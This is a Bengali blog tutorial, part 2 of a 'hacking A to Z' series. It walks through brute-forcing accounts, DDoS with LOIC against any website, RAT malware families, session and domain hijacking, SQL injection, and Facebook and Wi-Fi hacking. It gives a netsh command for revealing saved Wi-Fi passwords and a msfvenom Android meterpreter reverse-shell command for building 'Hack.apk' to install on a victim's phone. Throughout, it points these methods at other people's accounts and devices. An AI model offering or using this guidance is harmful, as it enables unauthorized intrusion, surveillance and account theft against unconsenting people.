About Me

header ads

হ্যাকিং বিদ্যার A টু Z শিখুন [পর্ব - ২]

আস-সালামু-আলাই-কুম বন্ধুরা। আশা করি সবাই আল্লাহর রহমতে ভালো আছেন। আমি 'রিয়া' আপনাদের মাঝে নিয়ে আসলাম "হ্যাকিং বিদ্যার A টু Z" এর দ্বিতীয় পর্ব নিয়ে। তো চলুন শুরু করা যাক।

প্রথম পর্ব যারা দেখেন নি , তারা নিচের লিংকে ক্লিক করে দেখে নিন
লিংক - হ্যাকিং বিদ্যার A টু Z শিখুন [পর্ব - ১]

ব্রুটফোর্স এট্যাক:
কোন সিস্টেমেরর লগিন প্যানেলে ইউসার আইডি এবং সম্ভাব্য পাসওয়ার্ড একে একে এন্টার করে তাতে লগিন করার চেষ্টার নামই ব্রুটফোর্স এট্যাক।
মূলত এমন ব্রুটফোর্স এট্যাক সময় স্বাপেক্ষ এবং অনিশ্চিত সম্ভাবনাময় তথাপি এমন এট্যাক রুখতে ক্যাপচা অপশন রাখা হয় যাতে কোন প্রোগাম ঐ সিস্টেমে রোবটিকভাবে এট্যাক করতে না পারে।
কম্পিউটার হতে ব্রুটফোর্স এট্যাক দিতে আপনি আলাদা সফটওয়ার এর পাশাপাশি লিনাক্স ব্যবহার করতে পারেন আর এনড্রোয়েডে টার্মিনাল ব্যবহার করতে পারেন।
ব্রুটফোর্সে সফল হওয়া নির্ভর করে পাসওয়ার্ড লিস্টের ওপর তাই অটোমেটিক ব্রুটফোর্সের চেয়ে কাস্টম পাসওয়ার্ড লিস্ট ( create aassword by analysis of victim’s nature & behave) তৈরী করে ম্যানুয়াল ব্রুটফোর্স এট্যাক দিলে সফলতার সম্ভাবনা ৯০% বেড়ে যায়।

ব্রুটফোর্স নিয়ে ফাজলামি:
ধরুন আপনি করিমের ফেসবুক আইডি হ্যাক করতে চাইছেন, এবং মনে মনে তার আইডির পাসওয়ার্ড ধরলেন iloveyou এবার লগিন করে দেখুন তাহলে ৯৯.৯৯% সম্ভাবনা রইবে যে আপনি ফেইল হবেন। তবে এই iloveyou লেখাটি যে জগতে কারোরই পাসওয়ার্ড নয় এমনটা তো নিশ্চিত করে বলতে পারেন না তাই একই পাসওয়ার্ড কনস্ট্যান্ট রেখে নিভিন্ন আইডিতে তার আইডি কোড দিয়ে ব্রুটফোর্স এট্যাক দিলে কেমন হয় বলুন তো???
এক্ষেত্রে কমন ওয়ার্ড হলো এট্যাকিং পাসওয়ার্ড এবং আইডি কোড লিস্ট হলো টার্গেট একাউন্টের সমন্বয় মাত্র।
হ্যাকিং কখনো মনের অহংকারে থাকে না; হ্যাকিং থাকে মাথার ব্রেইনে!

DOS/DDOS এট্যাক:
ডস (ডেনাইয়াল অফ সার্ভিস) এবং ডিডস (ডিসট্রিবিউটেড ডেনাইয়্যাল অব সার্ভিস) এট্যাক হলো কোন ওয়েবসাইটে অতি অল্প সময়ের জন্য অগনিত ডাটা প্যাকেট/প্যাকেজ পাঠিয়ে তাকে সাময়িক সময়ের জন্য ডিস্ট্রয় করে দেওয়া তথা সার্ভার ডাউন করিয়ে দেওয়া যাতে ঐ সাইটে কেউ ভিজিট করতে না পারে।
যেমন মনে করি একটি ওয়েবসাইট হলো ABC যার হোস্টিং সার্ভারে Bandwidth 1GB/Day ; Hits 10000/day; max needed bandwidth lese then 400 mb/day এখন ঐ সাইটে যদি ১ ঘন্টাতে একটি ফলস স্ক্রিপ্ট হতে 25000 hit করা যাতে ব্যান্ডউইথ 1GB পার হয় তবে ঐ সাইট’টি সাময়িক সময়ের জন্য স্থবির হয়ে পড়বে এবং তাতে কেউ ঐ সাইটে ভিজিট করতে পারবে না এককথায় এটিই হলো DDOS এট্যাক।

কম্পিউটারে আলাদা সফটওয়ার ছাড়াও লিনাক্স কমান্ড হতে এমন ডিডস এট্যাক দেওয়া যায় আবার এনড্রোয়েডে LOIC App ( গুগলে সার্চ করলেই পাবেন; এর পিসি ও এনড্রোয়েড দুটি ভার্সনই আছে ) হতে যেকোনো সাইটে ডিডস এট্যাক দেওয়া যায় এমনকি টার্মিনাল হতেও এনড্রোয়েড মোবাইল দ্বারা ডিডস এট্যাক পরিচালনা করা যায়।
মূলত গ্রুপ হিসেবে কাজ করলে এমন ডিডস এট্যাক খুব সহজেই হ্যাকিং হানা দিতে পারে যেকোনো ওয়েবসাইটে ( উন্নত এডভান্স ওয়েবসাইটগুলোর হোস্টিং সার্ভারে এজন্যই ডিডস প্রতিরোধক ব্যবস্থা করা থাকে)।

RAT:
RAT (Remote Administration Tool) হলো এমন একটা ভাইরাস যা ইদুরের মতো যেকোন কম্পিউটারের প্রবেশ করে তার যাবতীয় এক্সেস নিতে সক্ষম যেন পিসির ক্যামেরা বা স্কিন কচাপচারিং,ফাইল এক্সেস বা এনালাইসিস করা,শেল আপলোডিং, পিসি কনট্রোল ইত্যাদি উদাহরণস্বরূপ ট্রোজান হর্স ভাইরাস কোন ফাইল ডাউনলোড/আপলোড/ডিলিট বা রিনেম করা,ড্রাইভ ফরম্যাট করা,সিডি/ডিভিডি রোম অটো ওপেন করা,পিসিতে ভাইরাস বা ওয়ার্ম ছেড়ে দেয়া,কী-স্ট্রোক লগ বাইপাস করা,পাসওয়ার্ড বা ক্রোডিট কার্ড নাম্বার হ্যাক করা,ওয়েবসাইটের হোমপেজ হাইজ্যাক করা,অটো স্ক্রিন ক্যাপচার করা,টাস্কবারে অটো কোন টাস্ক রান/ডিলিট করা,ডেস্কটপ, টাস্কবার বা কোন ফাইল লুকিয়ে ফেলা
,কোন টেক্সট কমান্ডবিহীনভাবে প্রিন্ট করা,অটো সাউন্ড প্লে করা,মাউসের কার্সরের অস্বাভাবিক নড়াচড়া,সংযোগকৃত মাইক্রোফোনের সাউন্ড অটো রেকর্ড করা,ওয়েবক্যামের মাধ্যমে অটো ভিডিও রেকর্ডিং করা ইত্যাদি এক্টিভিটিতে পারদর্শী।
বিভিন্ন RAT এর মাঝে উল্লেখযোগ্য Shark , Bifrost , Bandook , BO2K , ProRAT , SpyRAT, HackRAT , Netbos , Optixe , AutoSpY , Nclear , Amituer ,  Bandk, Yuri RAT, Y3k RAT, slha RAT, Openx RAT, Poison Ivy RAT, Mosucker, SubSeven RAT, Nuclear RAT, NetBus RAT, ProRAT, megapanzer , LanHelper ইত্যাদি।

সেশন হাইজ্যাক:
সেশন হাইজ্যাক হলো ভিক্টিমের ব্রাউজারের কুকিজ চুরি করে তার সেশনে পার্টিসিপেশন করা এবং এক্সেস নেওয়া। এমনটা হতে পারে একই নেটওয়ার্কে অবস্থিত দুটি ভিন্ন ব্রাউজারে কুকিজ স্টিলিং দ্বারা তথাপি https প্রটোকলে ডাটা এনক্রিপশন চালু থাকলে তা অসম্ভব প্রায়; ঠিক সেই কারনে একটি প্রচলিত হ্যাকিং এর নাম শোনা যেত যে যখন ফেসবুক http প্রটোকল ব্যবহার করতো তখন ফেসনিফ হতে অন্যের ফেসবুক আইডিতে নাকি এক্সেস নেওয়া যেত।

ডোমেইন হাইজ্যাক:
যেকোন ওয়েবসাইটের ডেমেইনটিকে হ্যাক করে তার হোস্টিং সার্ভার হতে আলাদা করে হ্যাকারের ইচ্ছামতো হোস্টিং সাইটে প্রতিস্থাপন করাই হলো ডোমেইন হাইজ্যক যার জন্য সবার আগে ডোমেইন রেজিস্ট্রেশন ইনফো তার ইমেইল এড্রেস জেনে তা হ্যাক করতে হয় এবং ডোমেইনটি কুক্ষিগত করতে হয় অতঃপর তা হ্যাকারের হোস্টিং এর সাথে যুক্ত করা হয়।

ওয়েবসাইট হ্যাকিং:
যেকোন ওয়েবসাইটের সার্ভারে এট্যাক করার কতোগুলি উপায় থাকে যেমন এসকিউএল ইনজেকশন, পিএইচপি রিমোট এক্সিকিউশন, ওয়েব রিপিং, গুগল হ্যাকিং।
এসকিউএল ইনজেকশন
হলো কোন ওয়েবসাইটের ডাটাবেজ এসকিউএল ভার্নাবল হলে ( ওয়েব লিংকের শেষে একটি ‘ ব্যবহার করে দূর্বলতা চেক করা যায়) তাতে নিয়ত এসকিউএল ইনজেক্ট করে তার এডমিন কলাম হতে ইউজার নেম এবং এনক্রিপ্টেড পাসওয়ার্ড সংগ্রহ করা হয় পরে ঐ পাসওয়ার্ড ডিক্রিপ্ট করা হয় এবং এডমিন প্যানেল ফাইন্ডার হতে এডমিন প্যানেল খুজে সেখানে ইউজার আইডি ও পাসওয়ার্ড দ্বারা পুরো সাইটের এক্সেস নেওয়া হয়।
এমন একসিউএল ইনজেক্ট করার জন্য পিসি এবং এনড্রোয়েড ভার্সনে বহু সফটওয়ার ও এপ্স গুগল ঘাটলেই পাবেন তথাপি মেন্যুয়ালি ব্রাউজারের ইউআরএল হতেও এমন এট্যাক করা যায় যা নিতান্ত সময়স্বাপেক্ষ।
আবার এডমিন প্যানেল ফাইন্ড আউট করার জন্য পিসির জন্য হাভিজ ছাড়াও অনলাইন বহু এডমিন প্যানেল ফাইন্ডার আছে। আবার ম্যানুয়ালিও আপনি ইউআরএল এনালাইসিস করে এডমিন প্যানেল খুজতে পারেন।
যদিওবা এই এসকিউএল ইনজেকশন পদ্ধতিটি একটু বিরক্তিকর রকমের জটিল আর সময়সাপেক্ষ তবুও এর জনপ্রিয়তা এবং ব্যবহার হ্যাকার সমাজে খুবই প্রসিদ্ধ।

ফেসবুক আইডি হ্যাকিং
আদতে একজন সত্যিকারের হ্যাকার কখনোই নিজেকে ফেসবুক আইডি হ্যাকার পরিচয় দিয়ে গর্ববোধ করতে পারেনা তথাপি ফেসবুক সার্ভার হ্যাক আর ফেসবুক আইডি হ্যাক একই বিষয় নয়; উপরোক্ত নিময়গুলা যদি ভালোমতো প্রাকটিস করেন তবে শুধু ফেসবুক একাউন্ট নয় বরং যেকোন ওয়েবসাইট বা সিস্টেম হ্যাক করা বিষয়ে আপনি নূন্যতম হলেও পারদর্শী হতে পারবেন। তবুও উল্লেখ্য ফেসবুক আইডি হ্যাক করতে ফিশিং, কিলগার, ডিভাইস এক্সেস, সোস্যাল ইঞ্জিনিয়ারিং, স্পুফিং ইত্যাদি বিভিন্ন উপায়ে অন্যের ফেসবুক আইডি হ্যাক করতে পারবেন।

ওয়াইফাই হ্যাকিং:
ওয়াইফাই হ্যাক করতে পারবেন পিসিতে কালি লিনাক্স কিংবা এনড্রোয়ডে টার্মিনালের কমান্ড হতে, উইন্ডোজে Aircrack-ng, wpa wps connector এপ্স, wifi map, এনড্রোয়েডে সেভ থাকা পাসওয়ার্ড শো করাতে ES File explorer file manager app, পিসিতে সেভ থাকা পাসওয়ার্ড দেখতে উইন্ডোজ এডমিনিস্ট্রেশন কমান্ড prompt ওপেন করে টাইপ করুন netsh wlan show profile name= WIFI NAME/SSID key=clear তাহলে পাসওয়ার্ড দেখতে পাবেন, পিসিতে Windows Wifisla কিংবা রাউটারে আইপি এড্রেসের গেটওয়ে ডিফল্ট থাকলে আপনি ওয়াইফাই হ্যাক করতে পারবেন।
এছাড়াও ব্রুট ফোর্স এট্যাক কিংবা কি লগার অথবা হিডেন স্ক্রিন রেকর্ডার এপ্স ব্যবহার করেও কৌশলে ওয়াইফাই হ্যাক করতে পারেন।
একটা মজার কথা বলি শুনবেন?
প্রকৃত লীট হ্যাকারেরা ওয়াইফাই হ্যাক করে ফ্রি নেট ব্যবহার করার জন্য নয় বরং তারা ঐ নেটওয়ার্কে এক্টিভ কম্পিউটার বা সিস্টেম হানা দেবার জন্যই ওয়াইফাই হ্যাক করে থাকে। সুতরাং নিজে বড় হতে হলে আগে নিজের নজরটাকে বড় করা উচিত!

এনড্রোয়েড হ্যাকিং:
অন্যের এনড্রোয়েড মোবাইল হ্যাক করার জন্য রিমেটিক এক্সেস পেতে https://web.airdroid.com/ ব্যবহার করতে পারেন( এমন অনেক সাইট আছে যেখান হতে আপনি অন্যের এনড্রোয়েড মোবাইল হ্যাক করার জন্য এমন রিমোটিক এক্সেস পেতে পারেন যেমন https://www.cerberusapp.com/ ইত্যাদি), আবার ইন্টারনেট কানেকশন ছাড়াই এনড্রোয়েড মোবাইল হ্যাক করতে Tickle My Phone এপ্স ব্যবহার করতে পারেন। আবার মেটাস্পলেয়ট প্লেলোড হতে $ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=port R > /sdcard/Hack.apk উক্ত কামান্ড ব্যবহার করে Hack.apk টি ভিক্টিম এনড্রোয়েডে ইনস্টল করে আপনি এক্সেস পেতে পারেন।
এমনি আরও আরও এনড্রোয়েড হ্যাকিং ট্রিক রয়েছে আপনারই ব্রেইনের নিউরনে শুধু একটু মাথা খাটিয়ে ইনভেনশনস করার ব্যাপার মাত্র;  মনে রাখুন হ্যাকিং কখনো বই পুস্তকে লেখা থাকেনা বরং হ্যাকিং জন্ম নেয় বুদ্ধিমানের মাথাতে আর নৈতিকতা থাকে মনে। তাইতো একজন ইথিক্যাল হ্যাকারই সত্যিকারের লীট হ্যাকার হওয়ার গৌরব অর্জন করার যোগ্যতা রাখেন।
এই লেখাটি লেখার অনুপ্রেরণা:
আমি জন্মগত হ্যাকিং-এ- হাফেজ হয়ে জন্মায়নি বরং আমিও ইন্টারনেট ঘেটে ঘেটে হ্যাকিং শেখার চেস্টা করেছি এবং এখনো করছি মাত্র। তাই এতোবড় লেখাটি লিখতে আমার কষ্ট হলেও ক্রেডিট সেই সমস্ত হ্যাকিং হ্যাকিং টিচার যারা ইন্টারনেটে নিজেদের জ্ঞান উজার করে দিয়েছেন। বিশেষত টেকটিউনসের মেহেদী হাসান ভাইয়ের হ্যাকিং টিউটোরিয়াল গুলো হতে আমার হ্যাকিং বিদ্যার সূচনা তাই দ্ব্যার্থহীনভাবে তাকে সম্মান জানচ্ছি।
আজকের দিনে বাংলাদেশের সাইবার স্পেসে এই “সম্মান দেওয়া” জিনিসটা প্রায় উঠে গিয়েছে। তাইতো এতো পরনিন্দা আর অন্যকে ছোট করার হীন প্রচেষ্টা যা কখনোই একজন আদর্শবান হ্যাকারের বিহ্যাভ হতে পারেনা।
অন্যের নিকট সম্মান পাওয়ার আশা করলে আগে তাকে সম্মান করতে শিখুন।


আমার কাছ থেকে হ্যাকিং শিখবেন??
দেখুন আমরা কেউ হয়তো হ্যাকিং এর দুই/একটা ট্রিক শেয়ার করলেই অন্যরা আব্দার করেন যে “ভাইয়া হ্যাকিং শেখান”। আচ্ছা আপনি কি আমার নিকট হ্যাকিং শিখবেন নাকি আমি যার নিকট হ্যাকিং শিখেছি সেই মহান শিক্ষকের নিকট হ্যাকিং শিখবেন??
আমার টিচার হলো ইন্টারনেট তাই আপনিও হ্যাকিং শেখার শুরুটা করুন ইন্টারনেট হতেই।
কিন্তু সবকিছু শেখার জন্যই একজন পথপ্রদর্শক দরকার হয়। হ্যাকিং এর বেলায় শুরুতে তাকে গুরু মানলেও শেখা শেষে তাকেই গরু বানিয়ে দেবার মতোন জঘন্য মানসিকতা থাকলে আপনি কখনোই পরিপূর্ণ শিক্ষা লাভ করতে পারবেন না। সুতরাং গুরুকে অতিভক্তি করা আদিক্ষেতার প্রয়োজন নেই তারচেয়ে একটু উদার মানসিকতা আর নূন্যতম সৌজন্যতা থাকলে শুধু হ্যাকিং বিদ্যা নয় বরং আপনি লাইফের সকল ক্ষেত্রেই সফল হতে পারবেন।
শেষকথা:
আপনার সর্বাঙ্গীণ উন্নতি এবং সফলতা কামনা করছি। মনে রাখবেন জীবনে সফল হতে হলে শিক্ষার বিকল্প নয়। সুতরাং শেখার শুরুটা আজই আরম্ভ করুন কালকের সফলতা আপনার জন্য অপেক্ষা করছে!

কষ্ট করে পোস্টটি পড়ার জন্য সকলকে ধন্যবাদ। সবাই ভালো থাকবেন, সুস্থ থাকুন 'র কামনা করি।

আল্লাহ হাফেজ ❤

Post a Comment

0 Comments